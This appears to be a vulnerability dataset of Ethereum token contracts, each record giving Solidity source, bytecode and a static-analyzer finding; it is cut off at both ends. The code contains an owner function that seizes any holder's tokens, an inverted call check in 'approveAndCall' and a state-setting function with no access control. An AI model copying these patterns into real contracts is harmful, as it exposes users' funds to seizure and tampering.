/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function distributeAirdrop(address[] addresses, uint256 amount) onlyOwner public returns (bool seccess) {
require(amount > 0);
require(addresses.length > 0);
require(!frozenAccount[msg.sender]);
uint256 totalAmount = amount.mul(addresses.length);
require(balances[msg.sender] >= totalAmount);
bytes memory empty;
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0));
require(!frozenAccount[addresses[i]]);
balances[addresses[i]] = balances[addresses[i]].add(amount);
emit Transfer(msg.sender, addresses[i], amount, empty);
}
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint256[] amounts) public returns (bool) {
require(addresses.length > 0);
require(addresses.length == amounts.length);
require(!frozenAccount[msg.sender]);
uint256 totalAmount = 0;
for(uint i = 0; i < addresses.length; i++){
require(amounts[i] > 0);
require(addresses[i] != address(0));
require(!frozenAccount[addresses[i]]);
totalAmount = totalAmount.add(amounts[i]);
}
require(balances[msg.sender] >= totalAmount);
bytes memory empty;
for (i = 0; i < addresses.length; i++) {
balances[addresses[i]] = balances[addresses[i]].add(amounts[i]);
emit Transfer(msg.sender, addresses[i], amounts[i], empty);
}
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint256[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0);
require(addresses.length == amounts.length);
uint256 totalAmount = 0;
bytes memory empty;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0);
require(addresses[j] != address(0));
require(!frozenAccount[addresses[j]]);
require(balances[addresses[j]] >= amounts[j]);
balances[addresses[j]] = balances[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
emit Transfer(addresses[j], msg.sender, amounts[j], empty);
}
balances[msg.sender] = balances[msg.sender].add(totalAmount);
return true;
}
}
|
0x6080604052600436106101245763ffffffff60e060020a60003504166306fdde038114610129578063095ea7b3146101b357806318160ddd146101eb578063313ce567146102125780633f4ba83a1461023d5780635c975abb14610254578063661884631461026957806370a082311461028d578063715018a6146102ae5780638456cb59146102c35780638da5cb5b146102d8578063945946251461030957806395d89b41146103605780639ee1bd0f14610375578063a9059cbb1461038a578063b414d4b6146103ae578063be45fd62146103cf578063d73dd62314610438578063dd62ed3e1461045c578063dd92459414610483578063e724529c14610511578063f0dc417114610537578063f2fde38b146105c5578063f6368f8a146105e6575b600080fd5b34801561013557600080fd5b5061013e61068d565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610178578181015183820152602001610160565b50505050905090810190601f1680156101a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101bf57600080fd5b506101d7600160a060020a0360043516602435610723565b604080519115158252519081900360200190f35b3480156101f757600080fd5b506102006107a2565b60408051918252519081900360200190f35b34801561021e57600080fd5b506102276107a8565b6040805160ff9092168252519081900360200190f35b34801561024957600080fd5b506102526107b1565b005b34801561026057600080fd5b506101d761082b565b34801561027557600080fd5b506101d7600160a060020a036004351660243561083b565b34801561029957600080fd5b50610200600160a060020a036004351661094f565b3480156102ba57600080fd5b5061025261096a565b3480156102cf57600080fd5b506102526109da565b3480156102e457600080fd5b506102ed610a59565b60408051600160a060020a039092168252519081900360200190f35b34801561031557600080fd5b50604080516020600480358082013583810280860185019096528085526101d7953695939460249493850192918291850190849080828437509497505093359450610a689350505050565b34801561036c57600080fd5b5061013e610d13565b34801561038157600080fd5b506102ed610d74565b34801561039657600080fd5b506101d7600160a060020a0360043516602435610d83565b3480156103ba57600080fd5b506101d7600160a060020a0360043516610e2a565b3480156103db57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101d7948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610e3f9650505050505050565b34801561044457600080fd5b506101d7600160a060020a0360043516602435610eea565b34801561046857600080fd5b50610200600160a060020a0360043581169060243516610fa2565b34801561048f57600080fd5b50604080516020600480358082013583810280860185019096528085526101d795369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610fcd9650505050505050565b34801561051d57600080fd5b50610252600160a060020a03600435166024351515611265565b34801561054357600080fd5b50604080516020600480358082013583810280860185019096528085526101d795369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506112e49650505050505050565b3480156105d157600080fd5b50610252600160a060020a03600435166115c7565b3480156105f257600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101d7948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375094975061165f9650505050505050565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107195780601f106106ee57610100808354040283529160200191610719565b820191906000526020600020905b8154815290600101906020018083116106fc57829003601f168201915b5050505050905090565b6000805460a060020a900460ff161561073b57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294825291829020869055815186815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060015b92915050565b60075490565b60065460ff1690565b60005433600160a060020a039081169116146107cc57600080fd5b60005460a060020a900460ff1615156107e457600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b60005460a060020a900460ff1681565b60008054819060a060020a900460ff161561085557600080fd5b50600160a060020a03338116600090815260026020908152604080832093871683529290522054808311156108b157600160a060020a0333811660009081526002602090815260408083209388168352929052908120556108e8565b6108c1818463ffffffff61193816565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3600191505b5092915050565b600160a060020a031660009081526001602052604090205490565b60005433600160a060020a0390811691161461098557600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b60005433600160a060020a039081169116146109f557600080fd5b60005460a060020a900460ff1615610a0c57600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031681565b600080548190606090829033600160a060020a03908116911614610a8b57600080fd5b60008511610a9857600080fd5b8551600010610aa657600080fd5b600160a060020a03331660009081526003602052604090205460ff1615610acc57600080fd5b8551610adf90869063ffffffff61194a16565b600160a060020a033316600090815260016020526040902054909350831115610b0757600080fd5b5060005b8551811015610cc1578551600090879083908110610b2557fe5b60209081029091010151600160a060020a03161415610b4357600080fd5b600360008783815181101515610b5557fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff1615610b8557600080fd5b610bca85600160008985815181101515610b9b57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff61197316565b600160008884815181101515610bdc57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558551869082908110610c0d57fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611d6a83398151915287856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c7e578181015183820152602001610c66565b50505050905090810190601f168015610cab5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3600101610b0b565b600160a060020a033316600090815260016020526040902054610cea908463ffffffff61193816565b33600160a060020a03166000908152600160208190526040909120919091559695505050505050565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107195780601f106106ee57610100808354040283529160200191610719565b600054600160a060020a031690565b6000805460609060a060020a900460ff1615610d9e57600080fd5b600160a060020a0384161515610db357600080fd5b600160a060020a03841660009081526003602052604090205460ff1615610dd957600080fd5b600160a060020a03331660009081526003602052604090205460ff1615610dff57600080fd5b610e0884611980565b15610e1f57610e18848483611988565b9150610948565b610e18848483611be8565b60036020526000908152604090205460ff1681565b6000805460a060020a900460ff1615610e5757600080fd5b600160a060020a0384161515610e6c57600080fd5b600160a060020a03841660009081526003602052604090205460ff1615610e9257600080fd5b600160a060020a03331660009081526003602052604090205460ff1615610eb857600080fd5b610ec184611980565b15610ed857610ed1848484611988565b9050610ee3565b610ed1848484611be8565b9392505050565b6000805460a060020a900460ff1615610f0257600080fd5b600160a060020a03338116600090815260026020908152604080832093871683529290522054610f38908363ffffffff61197316565b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000806000606060008651111515610fe457600080fd5b8451865114610ff257600080fd5b600160a060020a03331660009081526003602052604090205460ff161561101857600080fd5b60009250600091505b85518210156110f4576000858381518110151561103a57fe5b602090810290910101511161104e57600080fd5b855160009087908490811061105f57fe5b60209081029091010151600160a060020a0316141561107d57600080fd5b60036000878481518110151561108f57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16156110bf57600080fd5b6110e785838151811015156110d057fe5b60209081029091010151849063ffffffff61197316565b9250600190910190611021565b600160a060020a03331660009081526001602052604090205483111561111957600080fd5b600091505b8551821015610cc157611154858381518110151561113857fe5b90602001906020020151600160008986815181101515610b9b57fe5b60016000888581518110151561116657fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055855186908390811061119757fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611d6a83398151915287858151811015156111d157fe5b90602001906020020151846040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561121f578181015183820152602001611207565b50505050905090810190601f16801561124c5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a360019091019061111e565b60005433600160a060020a0390811691161461128057600080fd5b600160a060020a038216600081815260036020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600080548190606090829033600160a060020a0390811691161461130757600080fd5b855160001061131557600080fd5b845186511461132357600080fd5b5060009150815b855181101561159e576000858281518110151561134357fe5b602090810290910101511161135757600080fd5b855160009087908390811061136857fe5b60209081029091010151600160a060020a0316141561138657600080fd5b60036000878381518110151561139857fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16156113c857600080fd5b84818151811015156113d657fe5b906020019060200201516001600088848151811015156113f257fe5b6020908102909101810151600160a060020a0316825281019190915260400160002054101561142057600080fd5b61147c858281518110151561143157fe5b9060200190602002015160016000898581518110151561144d57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff61193816565b60016000888481518110151561148e57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205584516114c3908690839081106110d057fe5b925033600160a060020a031686828151811015156114dd57fe5b90602001906020020151600160a060020a0316600080516020611d6a833981519152878481518110151561150d57fe5b90602001906020020151856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561155b578181015183820152602001611543565b50505050905090810190601f1680156115885780820380516001836020036101000a031916815260200191505b50935050505060405180910390a360010161132a565b600160a060020a033316600090815260016020526040902054610cea908463ffffffff61197316565b60005433600160a060020a039081169116146115e257600080fd5b600160a060020a03811615156115f757600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000805460a060020a900460ff161561167757600080fd5b600160a060020a038516151561168c57600080fd5b600160a060020a03851660009081526003602052604090205460ff16156116b257600080fd5b600160a060020a03331660009081526003602052604090205460ff16156116d857600080fd5b6116e185611980565b1561192257836116f03361094f565b10156116fb57600080fd5b611714846117088761094f565b9063ffffffff61193816565b600160a060020a0386166000908152600160205260409020556117468461173a8761094f565b9063ffffffff61197316565b600160a060020a038616600081815260016020908152604080832094909455925185519293919286928291908401908083835b602083106117985780518252601f199092019160209182019101611779565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b8381101561182a578181015183820152602001611812565b50505050905090810190601f1680156118575780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af19350505050151561187757fe5b84600160a060020a031633600160a060020a0316600080516020611d6a83398151915286866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156118df5781810151838201526020016118c7565b50505050905090810190601f16801561190c5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3506001611930565b61192d858585611be8565b90505b949350505050565b60008282111561194457fe5b50900390565b600082151561195b5750600061079c565b5081810281838281151561196b57fe5b041461079c57fe5b8181018281101561079c57fe5b6000903b1190565b600080600160a060020a03851615156119a057600080fd5b600160a060020a03851660009081526003602052604090205460ff16156119c657600080fd5b836119d03361094f565b10156119db57600080fd5b600160a060020a03331660009081526003602052604090205460ff1615611a0157600080fd5b611a0e846117083361094f565b600160a060020a033316600090815260016020526040902055611a348461173a8761094f565b600160a060020a0380871660008181526001602090815260408083209590955593517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523393841660048201908152602482018a90526060604483019081528951606484015289518c9850949663c0ee0b8a96958c958c9560840192860191908190849084905b83811015611ad4578181015183820152602001611abc565b50505050905090810190601f168015611b015780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015611b2257600080fd5b505af1158015611b36573d6000803e3d6000fd5b5050505084600160a060020a031633600160a060020a0316600080516020611d6a83398151915286866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611ba2578181015183820152602001611b8a565b50505050905090810190601f168015611bcf5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3506001949350505050565b6000600160a060020a0384161515611bff57600080fd5b600160a060020a03841660009081526003602052604090205460ff1615611c2557600080fd5b82611c2f3361094f565b1015611c3a57600080fd5b600160a060020a03331660009081526003602052604090205460ff1615611c6057600080fd5b611c6d836117083361094f565b600160a060020a033316600090815260016020526040902055611c938361173a8661094f565b6001600086600160a060020a0316600160a060020a031681526020019081526020016000208190555083600160a060020a031633600160a060020a0316600080516020611d6a83398151915285856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611d24578181015183820152602001611d0c565b50505050905090810190601f168015611d515780820380516001836020036101000a031916815260200191505b50935050505060405180910390a350600193925050505600e19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16a165627a7a723058204e5005993a1391416ba20f5720e4a16819167b94a8250934152850a9cf11b33d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 5,328 |
0x12af23556681c4ea654da722f96c899d69e316ec
|
/**
*Submitted for verification at Etherscan.io on 2019-07-10
*/
pragma solidity ^0.4.25;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public
{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event setNewBlockEvent(string SecretKey_Pre, string Name_New, string TxHash_Pre, string DigestCode_New, string Image_New, string Note_New);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
using SafeMath for uint256;
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
using SafeMath for uint256;
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
}
}
contract PuErh_TongcingHao is MintableToken, BurnableToken {
constructor() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name = "PuErh_TongcingHao";
string public symbol = "PET";
uint public constant decimals = 0;
uint256 public constant INITIAL_SUPPLY = 100 * (10 ** uint256(decimals));
string public Image_root = "https://swarm.chainbacon.com/bzz:/e2796b6d26c215d9a59a5d8c0388665e33876e987783d4f5fce86522b6246d7c/";
string public Note_root = "https://swarm.chainbacon.com/bzz:/878269908b75999a2bc921613f3e0031f7b36a69cc57b8a223cee3804c93a0f5/";
string public DigestCode_root = "a58aafa3736a071d2c61a355973417d2576e0f26ac60526e953537f2d870aec7";
function getIssuer() public pure returns(string) { return "Mr Long"; }
function getSource() public pure returns(string) { return "private collection"; }
string public TxHash_root = "genesis";
string public ContractSource = "";
string public CodeVersion = "v0.1";
string public SecretKey_Pre = "";
string public Name_New = "";
string public TxHash_Pre = "";
string public DigestCode_New = "";
string public Image_New = "";
string public Note_New = "";
function getName() public view returns(string) { return name; }
function getDigestCodeRoot() public view returns(string) { return DigestCode_root; }
function getTxHashRoot() public view returns(string) { return TxHash_root; }
function getImageRoot() public view returns(string) { return Image_root; }
function getNoteRoot() public view returns(string) { return Note_root; }
function getCodeVersion() public view returns(string) { return CodeVersion; }
function getContractSource() public view returns(string) { return ContractSource; }
//uint256 public totalSupply = INITIAL_SUPPLY ;
function getSecretKeyPre() public view returns(string) { return SecretKey_Pre; }
function getNameNew() public view returns(string) { return Name_New; }
function getTxHashPre() public view returns(string) { return TxHash_Pre; }
function getDigestCodeNew() public view returns(string) { return DigestCode_New; }
function getImageNew() public view returns(string) { return Image_New; }
function getNoteNew() public view returns(string) { return Note_New; }
function setNewBlock(string _SecretKey_Pre, string _Name_New, string _TxHash_Pre, string _DigestCode_New, string _Image_New, string _Note_New ) returns (bool success) {
SecretKey_Pre = _SecretKey_Pre;
Name_New = _Name_New;
TxHash_Pre = _TxHash_Pre;
DigestCode_New = _DigestCode_New;
Image_New = _Image_New;
Note_New = _Note_New;
emit setNewBlockEvent(SecretKey_Pre, Name_New, TxHash_Pre, DigestCode_New, Image_New, Note_New);
return true;
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
require(!_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
}
|
0x608060405260043610610225576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461022a57806306fdde0314610259578063095ea7b3146102e957806317d7de7c1461034e57806318160ddd146103de57806319c59768146104095780631e1fc057146104995780632272f1a31461052957806323b872dd146105b95780632f34ad851461063e5780632f58b235146106ce5780632ff2e9dc1461075e578063313ce56714610789578063340a5f2d146107b457806338e135061461084457806339f68111146108d457806340c10f191461096457806342966c68146109c957806352556421146109f6578063529d2cea14610a8657806358dfd4e514610b1657806359e0568514610ba65780636dae214714610c3657806370a0823114610cc65780637584f24b14610d1d5780637d64bcb414610dad5780638a43c8e614610ddc5780638da5cb5b14610fbb5780638f1a9d791461101257806395d89b41146110a25780639a677c6914611132578063a029b096146111c2578063a9059cbb14611252578063ad396260146112b7578063afa293d414611347578063ba270c71146113d7578063c59e176714611467578063cae9ca51146114f7578063ceb62914146115a2578063d74d880814611632578063dd62ed3e146116c2578063e03535be14611739578063f0fbaea6146117c9578063f144820e14611859578063f2fde38b146118e9575b600080fd5b34801561023657600080fd5b5061023f61192c565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e61193f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ae578082015181840152602081019050610293565b50505050905090810190601f1680156102db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102f557600080fd5b50610334600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119dd565b604051808215151515815260200191505060405180910390f35b34801561035a57600080fd5b50610363611acf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a3578082015181840152602081019050610388565b50505050905090810190601f1680156103d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103ea57600080fd5b506103f3611b71565b6040518082815260200191505060405180910390f35b34801561041557600080fd5b5061041e611b77565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045e578082015181840152602081019050610443565b50505050905090810190601f16801561048b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104a557600080fd5b506104ae611c19565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ee5780820151818401526020810190506104d3565b50505050905090810190601f16801561051b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561053557600080fd5b5061053e611cb7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561057e578082015181840152602081019050610563565b50505050905090810190601f1680156105ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105c557600080fd5b50610624600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d59565b604051808215151515815260200191505060405180910390f35b34801561064a57600080fd5b50610653611fd2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610693578082015181840152602081019050610678565b50505050905090810190601f1680156106c05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106da57600080fd5b506106e3612074565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610723578082015181840152602081019050610708565b50505050905090810190601f1680156107505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561076a57600080fd5b50610773612116565b6040518082815260200191505060405180910390f35b34801561079557600080fd5b5061079e612121565b6040518082815260200191505060405180910390f35b3480156107c057600080fd5b506107c9612126565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108095780820151818401526020810190506107ee565b50505050905090810190601f1680156108365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561085057600080fd5b506108596121c8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561089957808201518184015260208101905061087e565b50505050905090810190601f1680156108c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108e057600080fd5b506108e9612266565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561092957808201518184015260208101905061090e565b50505050905090810190601f1680156109565780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561097057600080fd5b506109af600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612304565b604051808215151515815260200191505060405180910390f35b3480156109d557600080fd5b506109f4600480360381019080803590602001909291905050506124ea565b005b348015610a0257600080fd5b50610a0b61264a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a4b578082015181840152602081019050610a30565b50505050905090810190601f168015610a785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a9257600080fd5b50610a9b612687565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610adb578082015181840152602081019050610ac0565b50505050905090810190601f168015610b085780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610b2257600080fd5b50610b2b612729565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610b6b578082015181840152602081019050610b50565b50505050905090810190601f168015610b985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610bb257600080fd5b50610bbb6127c7565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610bfb578082015181840152602081019050610be0565b50505050905090810190601f168015610c285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610c4257600080fd5b50610c4b612865565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610c8b578082015181840152602081019050610c70565b50505050905090810190601f168015610cb85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610cd257600080fd5b50610d07600480360381019080803573ffffffffffffffffffffffffffffffffffffff